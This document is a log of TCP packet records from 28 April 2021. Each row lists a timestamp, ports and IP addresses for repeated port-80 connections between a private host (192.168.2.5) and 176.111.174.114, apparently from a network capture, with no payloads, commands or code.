Apr 28, 2021 23:24:27.776421070 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.776456118 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.776492119 CEST	50192	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.776555061 CEST	50192	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.777265072 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.777357101 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.777405977 CEST	50192	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.777445078 CEST	50192	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.777465105 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.777540922 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.777551889 CEST	50192	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.777609110 CEST	50192	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.777704954 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.777720928 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.777736902 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.777754068 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.777786016 CEST	50192	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.777812004 CEST	50192	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.777952909 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.778106928 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.778183937 CEST	50192	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.796051025 CEST	80	50193	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.799598932 CEST	80	50193	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.799731970 CEST	50193	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.870183945 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.870201111 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.870320082 CEST	50192	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.870438099 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.870955944 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.871001005 CEST	50192	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.871061087 CEST	50192	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.871140003 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.871198893 CEST	50192	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.871341944 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.871359110 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.871376038 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.871462107 CEST	50192	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.871494055 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.871495008 CEST	50192	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.871561050 CEST	50192	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.871700048 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.871715069 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.871731043 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.871809959 CEST	50192	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.871850014 CEST	50192	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.871859074 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.871912003 CEST	50192	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.901546955 CEST	50193	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.902569056 CEST	50194	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.965553999 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.965795994 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.965960026 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.965976954 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.966655016 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.966932058 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.967041016 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.967056990 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.967072964 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.967087030 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.967169046 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.967303038 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.967521906 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.967848063 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.967864990 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.967955112 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.967971087 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.968655109 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.968956947 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.969537020 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.969553947 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.970462084 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.970479012 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.970493078 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.970515013 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.970527887 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.972152948 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.972352982 CEST	50192	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.997139931 CEST	80	50193	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.997201920 CEST	50193	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.997689962 CEST	80	50194	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.997766972 CEST	50194	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.998532057 CEST	50194	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:28.066020966 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:28.066102028 CEST	50192	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:28.091984987 CEST	80	50194	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:28.095433950 CEST	80	50194	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:28.095525980 CEST	50194	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:28.203798056 CEST	50194	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:28.205970049 CEST	50196	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:28.297415018 CEST	80	50194	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:28.297585011 CEST	50194	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:28.302011967 CEST	80	50196	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:28.302155018 CEST	50196	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:28.303401947 CEST	50196	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:28.399533033 CEST	80	50196	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:28.403388977 CEST	80	50196	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:28.403500080 CEST	50196	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:28.511295080 CEST	50196	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:28.512835026 CEST	50197	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:28.607445002 CEST	80	50196	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:28.607637882 CEST	50196	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:28.612714052 CEST	80	50197	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:28.612982035 CEST	50197	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:28.614005089 CEST	50197	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:28.714313984 CEST	80	50197	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:28.718271017 CEST	80	50197	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:28.718404055 CEST	50197	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:28.824269056 CEST	50197	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:28.825736046 CEST	50198	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:28.919925928 CEST	80	50198	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:28.920063019 CEST	50198	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:28.920674086 CEST	50198	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:28.924081087 CEST	80	50197	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:28.924154997 CEST	50197	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:29.014453888 CEST	80	50198	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:29.017951965 CEST	80	50198	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:29.018162966 CEST	50198	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:29.121004105 CEST	50198	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:29.123374939 CEST	50200	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:29.215115070 CEST	80	50198	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:29.216583967 CEST	50198	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:29.220324993 CEST	80	50200	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:29.220436096 CEST	50200	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:29.221241951 CEST	50200	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:29.318002939 CEST	80	50200	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:29.322225094 CEST	80	50200	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:29.322355986 CEST	50200	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:29.433319092 CEST	50200	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:29.434745073 CEST	50201	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:29.532633066 CEST	80	50201	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:29.532665014 CEST	80	50200	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:29.532830000 CEST	50201	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:29.532860041 CEST	50200	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:29.533515930 CEST	50201	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:29.632462978 CEST	80	50201	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:29.634335041 CEST	80	50201	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:29.634485006 CEST	50201	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:29.745548964 CEST	50201	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:29.746731043 CEST	50202	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:29.843430042 CEST	80	50201	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:29.843599081 CEST	50201	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:29.843615055 CEST	80	50202	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:29.843770981 CEST	50202	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:29.844415903 CEST	50202	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:29.941158056 CEST	80	50202	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:29.945127010 CEST	80	50202	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:29.945251942 CEST	50202	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.058999062 CEST	50202	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.062273026 CEST	50203	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.155833960 CEST	80	50202	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.155867100 CEST	80	50203	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.155925989 CEST	50202	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.156045914 CEST	50203	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.156601906 CEST	50203	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.249625921 CEST	80	50203	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.253524065 CEST	80	50203	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.253614902 CEST	50203	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.371421099 CEST	50203	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.372415066 CEST	50204	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.418210030 CEST	50205	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.467215061 CEST	80	50203	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.467338085 CEST	50203	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.479407072 CEST	80	50204	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.479748011 CEST	50204	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.480411053 CEST	50204	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.533204079 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.533318043 CEST	50205	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.533596992 CEST	50205	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.585155964 CEST	80	50204	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.593158960 CEST	80	50204	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.595452070 CEST	50204	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.641668081 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.641758919 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.641885042 CEST	50205	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.642762899 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.642779112 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.642791033 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.642806053 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.642860889 CEST	50205	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.642904043 CEST	50205	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.644141912 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.644159079 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.644171953 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.644190073 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.644388914 CEST	50205	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.702409029 CEST	50204	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.704108953 CEST	50206	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.753243923 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.753264904 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.753276110 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.753285885 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.753300905 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.753313065 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.753323078 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.753350019 CEST	50205	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.753402948 CEST	50205	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.753432035 CEST	50205	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.756236076 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.756254911 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.756298065 CEST	50205	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.756341934 CEST	50205	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.806058884 CEST	80	50206	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.806154013 CEST	50206	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.806658983 CEST	50206	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.809904099 CEST	80	50204	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.811264038 CEST	50204	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.861507893 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.861531973 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.861543894 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.861558914 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.861572027 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.861582994 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.861593962 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.861629963 CEST	50205	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.861825943 CEST	50205	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.864049911 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.864067078 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.864080906 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.864090919 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.864188910 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.864216089 CEST	50205	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.864278078 CEST	50205	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.864314079 CEST	50205	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.864412069 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.906570911 CEST	80	50206	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.909914017 CEST	80	50206	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.910021067 CEST	50206	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:30.969835997 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.969862938 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.969875097 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.969970942 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.970174074 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.970335007 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.970499992 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.970700026 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.970845938 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.971117020 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.971252918 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.972191095 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.972208023 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.972290039 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.972493887 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.972709894 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.972727060 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.973222971 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.974982977 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:30.975220919 CEST	50205	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:31.036036968 CEST	50206	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:31.037209034 CEST	50208	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:31.084563017 CEST	80	50205	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:31.084996939 CEST	50205	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:31.136004925 CEST	80	50206	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:31.136117935 CEST	50206	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:31.137093067 CEST	80	50208	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:31.137223005 CEST	50208	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:31.137798071 CEST	50208	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:31.239518881 CEST	80	50208	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:31.243421078 CEST	80	50208	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:31.243617058 CEST	50208	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:31.355513096 CEST	50208	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:31.356916904 CEST	50209	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:31.452253103 CEST	80	50209	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:31.452472925 CEST	50209	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:31.453680992 CEST	50209	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:31.456309080 CEST	80	50208	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:31.456404924 CEST	50208	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:31.549041033 CEST	80	50209	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:31.552876949 CEST	80	50209	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:31.552987099 CEST	50209	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:31.667524099 CEST	50209	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:31.668620110 CEST	50210	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:31.763011932 CEST	80	50209	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:31.763204098 CEST	50209	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:31.764111996 CEST	80	50210	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:31.764364958 CEST	50210	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:31.765758991 CEST	50210	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:31.861288071 CEST	80	50210	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:31.865180969 CEST	80	50210	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:31.865304947 CEST	50210	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:31.980539083 CEST	50210	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:31.981990099 CEST	50211	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:32.078807116 CEST	80	50210	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:32.078896999 CEST	50210	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:32.081602097 CEST	80	50211	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:32.081717014 CEST	50211	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:32.082453966 CEST	50211	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:32.183912992 CEST	80	50211	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:32.187436104 CEST	80	50211	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:32.187541008 CEST	50211	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:32.293078899 CEST	50211	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:32.294574976 CEST	50213	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:32.393305063 CEST	80	50211	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:32.393435001 CEST	50211	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:32.399977922 CEST	80	50213	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:32.400142908 CEST	50213	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:32.401534081 CEST	50213	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:32.505306005 CEST	80	50213	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:32.505676985 CEST	80	50213	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:32.505827904 CEST	50213	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:32.621337891 CEST	50213	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:32.622908115 CEST	50214	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:32.723364115 CEST	80	50214	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:32.723460913 CEST	50214	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:32.723939896 CEST	50214	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:32.727057934 CEST	80	50213	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:32.727160931 CEST	50213	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:32.822269917 CEST	80	50214	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:32.826247931 CEST	80	50214	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:32.826421022 CEST	50214	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:32.933517933 CEST	50214	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:32.934993029 CEST	50215	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.031862974 CEST	80	50214	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.031949997 CEST	50214	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.032780886 CEST	80	50215	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.032891035 CEST	50215	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.033531904 CEST	50215	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.131342888 CEST	80	50215	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.135755062 CEST	80	50215	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.135914087 CEST	50215	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.249986887 CEST	50215	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.251280069 CEST	50216	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.344937086 CEST	80	50216	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.345050097 CEST	50216	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.347253084 CEST	50216	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.347553015 CEST	80	50215	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.347646952 CEST	50215	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.435673952 CEST	50217	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.441792011 CEST	80	50216	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.445785999 CEST	80	50216	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.447489023 CEST	50216	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.533499002 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.534981012 CEST	50217	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.535397053 CEST	50217	80	192.168.2.5	176.111.174.114
